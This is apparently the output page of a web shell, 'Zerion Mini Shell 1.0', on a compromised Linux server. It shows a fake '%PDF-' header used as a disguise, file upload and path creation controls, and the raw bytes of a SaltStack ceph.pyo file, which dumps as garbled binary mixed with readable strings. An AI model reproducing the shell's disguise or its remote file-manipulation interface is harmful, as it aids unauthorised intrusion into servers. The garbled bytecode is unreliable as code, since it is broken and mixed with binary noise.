%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/ceph.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlm	Z	m
Z
eje�Z
d�Zd�Zd�Zd�Zd	�Zd
�ZdS(u5
Manage ceph with salt.

.. versionadded:: 2016.11.0
i(tabsolute_importtprint_functiontunicode_literalsN(tCommandExecutionErrortCommandNotFoundErrorcC@s i|d6td6|d6id6S(u6
    Utility function: Return structure unchanged
    unameuresultucommentuchanges(tTrue(tnametmsg((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt
_unchangedscC@s i|d6dd6|d6id6S(u1
    Utility function: Return structure test
    unameuresultucommentuchangesN(tNone(RR((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt_testscC@s i|d6td6|d6id6S(u2
    Utility function: Return structure error
    unameuresultucommentuchanges(tFalse(RR((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt_error!scK@s i|d6td6|d6|d6S(u4
    Utility function: Return structure changed
    unameuresultucommentuchanges(R(RRtchanges((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt_changed(scC@s"tjjjtjjj|��S(u4
    Convert ordered dictionary to a dictionary
    (tsalttutilstjsontloadstdumps(tinput_ordered_dict((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt_ordereddict2dict/scK@s�t|�}|dkr%t|d�Stdr<t|d�Sytd|�}Wn&ttfk
rx}t||j�SX|r�t	|d�St|d�S(u[
    Quorum state

    This state checks the mon daemons are in quorum. It does not alter the
    cluster but can be used in formula as a dependency for many cluster
    operations.

    Example usage in sls file:

    .. code-block:: yaml

        quorum:
          sesceph.quorum:
            - require:
              - sesceph: mon_running
    uInvalid parameters:%sutestucluster quorumuceph.cluster_quorumucluster is quorumucluster is not quorumN(
RR	Rt__opts__R
t__salt__RRtstrerrorR(Rtkwargst
parameterstcluster_quorumterr((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pytquorum6s



(t__doc__t
__future__RRRtloggingtsalt.utils.jsonRtsalt.exceptionsRRt	getLoggert__name__tlogRR
RRRR(((s4/usr/lib/python2.7/site-packages/salt/states/ceph.pyt<module>s					

Zerion Mini Shell 1.0